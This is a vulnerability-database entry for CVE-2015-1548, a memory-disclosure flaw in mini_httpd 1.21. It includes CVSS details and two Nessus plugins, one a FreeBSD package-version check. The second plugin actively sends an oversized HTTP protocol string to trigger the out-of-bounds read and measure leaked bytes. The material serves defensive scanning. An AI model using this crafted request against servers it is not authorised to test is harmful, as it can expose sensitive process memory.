Vulnerabilities > CVE-2015-1548 - Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Acme Mini Httpd 1.21

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
acme
CWE-119
nessus

Summary

mini_httpd 1.21 and earlier allows remote attackers to obtain sensitive information from process memory via an HTTP request with a long protocol string, which triggers an incorrect response size calculation and an out-of-bounds read.

Vulnerable Configurations

Part Description Count
Application
Acme
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Nessus

  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_84DC49B0B26711E58A5B00262D5ED8EE.NASL
    descriptionACME Updates reports : mini_httpd 1.21 and earlier allows remote attackers to obtain sensitive information from process memory via an HTTP request with a long protocol string, which triggers an incorrect response size calculation and an out-of-bounds read. (rene) ACME, the author, claims that the vulnerability is fixed *after* version 1.22, released on 2015-12-28
    last seen2020-06-01
    modified2020-06-02
    plugin id87698
    published2016-01-04
    reporterThis script is Copyright (C) 2016-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/87698
    titleFreeBSD : mini_httpd -- buffer overflow via snprintf (84dc49b0-b267-11e5-8a5b-00262d5ed8ee)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from the FreeBSD VuXML database :
    #
    # Copyright 2003-2018 Jacques Vidrine and contributors
    #
    # Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
    # HTML, PDF, PostScript, RTF and so forth) with or without modification,
    # are permitted provided that the following conditions are met:
    # 1. Redistributions of source code (VuXML) must retain the above
    #    copyright notice, this list of conditions and the following
    #    disclaimer as the first lines of this file unmodified.
    # 2. Redistributions in compiled form (transformed to other DTDs,
    #    published online in any format, converted to PDF, PostScript,
    #    RTF and other formats) must reproduce the above copyright
    #    notice, this list of conditions and the following disclaimer
    #    in the documentation and/or other materials provided with the
    #    distribution.
    # 
    # THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
    # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
    # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
    # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
    # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
    # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
    # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
    # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
    # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
    # OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
    # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(87698);
      script_version("2.2");
      script_cvs_date("Date: 2018/11/10 11:49:45");
    
      script_cve_id("CVE-2015-1548");
    
      script_name(english:"FreeBSD : mini_httpd -- buffer overflow via snprintf (84dc49b0-b267-11e5-8a5b-00262d5ed8ee)");
      script_summary(english:"Checks for updated package in pkg_info output");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote FreeBSD host is missing a security-related update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "ACME Updates reports :
    
    mini_httpd 1.21 and earlier allows remote attackers to obtain
    sensitive information from process memory via an HTTP request with a
    long protocol string, which triggers an incorrect response size
    calculation and an out-of-bounds read.
    
    (rene) ACME, the author, claims that the vulnerability is fixed
    *after* version 1.22, released on 2015-12-28"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://cxsecurity.com/cveshow/CVE-2015-1548"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"http://acme.com/updates/archive/192.html"
      );
      # https://vuxml.freebsd.org/freebsd/84dc49b0-b267-11e5-8a5b-00262d5ed8ee.html
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?b38defc9"
      );
      script_set_attribute(attribute:"solution", value:"Update the affected package.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:mini_httpd");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2015/02/10");
      script_set_attribute(attribute:"patch_publication_date", value:"2016/01/03");
      script_set_attribute(attribute:"plugin_publication_date", value:"2016/01/04");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2016-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"FreeBSD Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("freebsd_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
    if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (pkg_test(save_report:TRUE, pkg:"mini_httpd<1.23")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:pkg_report_get());
      else security_warning(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");
    
  • NASL familyWeb Servers
    NASL idMINIHTTP_MEMORY_LEAK.NASL
    descriptionThe Acme mini_httpd web server running on the remote host is affected by a flaw in the add_headers() function within file mini_httpd.c that is triggered when handling HTTP requests that have a very long protocol string. An unauthenticated, remote attacker can exploit this, via a crafted request, to cause an out-of-bounds read error, resulting in the disclose of sensitive information in process memory.
    last seen2020-06-01
    modified2020-06-02
    plugin id90925
    published2016-05-05
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/90925
    titleAcme mini_httpd Protocol String Handling Memory Disclosure
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(90925);
      script_version("1.4");
      script_cvs_date("Date: 2019/11/19");
    
      script_cve_id("CVE-2015-1548");
      script_bugtraq_id(73450);
    
      script_name(english:"Acme mini_httpd Protocol String Handling Memory Disclosure");
      script_summary(english:"Attempts to send a large header string to trigger a memory leak on the remote host.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server is affected by an information disclosure
    vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The Acme mini_httpd web server running on the remote host is affected
    by a flaw in the add_headers() function within file mini_httpd.c that
    is triggered when handling HTTP requests that have a very long
    protocol string. An unauthenticated, remote attacker can exploit this,
    via a crafted request, to cause an out-of-bounds read error, resulting
    in the disclose of sensitive information in process memory.");
      # https://www.itinsight.hu/blog/posts/2015-01-23-mini_httpd-v1-21-information-disclosure.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?013a3d27");
      script_set_attribute(attribute:"see_also", value:"http://acme.com/software/mini_httpd/");
      script_set_attribute(attribute:"solution", value:
    "If possible, upgrade to Acme mini_httpd version 1.23 or later. For
    vendor hardware, such as modems or industrial control devices, ensure
    that the firmware is current and/or its net access is limited to
    trusted networks only.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2015/01/23");
      script_set_attribute(attribute:"patch_publication_date", value:"2015/12/28");
      script_set_attribute(attribute:"plugin_publication_date", value:"2016/05/05");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:acme:mini_httpd");
      script_end_attributes();
    
      script_category(ACT_ATTACK);
      script_family(english:"Web Servers");
    
      script_copyright(english:"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("http_version.nasl");
      script_require_ports("Services/www", 80);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("http.inc");
    include("misc_func.inc");
    
    app = "mini_httpd";
    port = get_http_port(default:80, embedded: TRUE);
    if (!get_port_state(port)) audit(AUDIT_PORT_CLOSED, port);
    
    # Check http header
    banner = get_http_banner(port:port);
    if (banner == NULL) audit(AUDIT_WEB_BANNER_NOT, port);
    if ("Server: mini_httpd" >!< banner) audit(AUDIT_WRONG_WEB_SERVER, port, app);
    
    # Iterate over known html files
    urls = get_kb_list("www/" + port + "/content/extensions/html");
    if (urls == NULL) urls = make_list("/");
    else urls = make_list(urls, "/");
    
    report = "";
    foreach url (urls)
    {
      # Send basic request
      res = http_send_recv3(method:"GET", item:url, port:port);
      if (res == NULL) continue;
      htmllen = strlen(res[2]);
      
      # Send memory leak request
      httpver = "";
      for (i = 0; i < 65535; i+=6) httpver += "NESSUS";
      httpver += "\Y";
      req = "GET " + url + " " + httpver + '\r\n';
      req += '\r\n';
    
      # Try to open socket
      trynum = 0;
      while (trynum < 10 && soc2 == 0)
      {
        trynum++;
        soc2 = open_sock_tcp(port);
      }
    
      if(!soc2) continue;
      
      send(socket: soc2, data: req);
      r = recv(socket: soc2, length: htmllen + strlen(httpver));
      close(soc2);
      soc2 = NULL;
      if (isnull(r)) continue;
      
      if (strlen(r) >= htmllen + strlen(httpver))
      {
        report += "  " + url + " (leaked " + (strlen(r) - htmllen) + " bytes)" + '\n';
      }
    }
    
    # Iterate over known directories
    dirs = get_kb_list("www/" + port + "/content/directories");
    
    foreach dir (dirs)
    {
      # Remove trailing slash
      if (strlen(dir) > 0 && dir[strlen(dir)-1] == "/") dir = substr(dir, 0, strlen(dir)-2);
      
      # Skip duplicate root dir request
      if (dir == "") continue;
      
      # Send basic request
      res = http_send_recv3(method:"GET", item:dir+"/", port:port);
      if (res == NULL) continue;
      htmllen = strlen(res[2]);
      
      # Send memory leak request
      httpver = "";
      for (i = 0; i < 65535; i+=6) httpver += "NESSUS";
      httpver += "\Y";
      req = "GET " + dir + "/ " + httpver + '\r\n';
      req += '\r\n';
    
      # Try to open socket
      trynum = 0;
      while (trynum < 10 && soc2 == 0)
      {
        trynum++;
        soc2 = open_sock_tcp(port);
      }
    
      if(!soc2) continue;
      
      send(socket: soc2, data: req);
      r = recv(socket: soc2, length: htmllen + strlen(httpver));
      close(soc2);
      soc2 = NULL;
      if (isnull(r)) continue;
      
      if (strlen(r) >= htmllen + strlen(httpver))
      {
        report += "  " + dir + "/ (leaked " + (strlen(r) - htmllen) + " bytes)" + '\n';
      }
    }
    if (report != "")
    {
      report = "Nessus attempted to exploit a memory leak vulnerability"+'\n'+
               "in the remote mini_httpd server. The server returned"+'\n'+
               "leaked memory on the following urls:" + '\n\n' + report;
      security_report_v4(
         port       : port,
         severity   : SECURITY_WARNING,
         extra      : report
        );
      exit(0);
    }
    else
      audit(AUDIT_INST_PATH_NOT_VULN, app);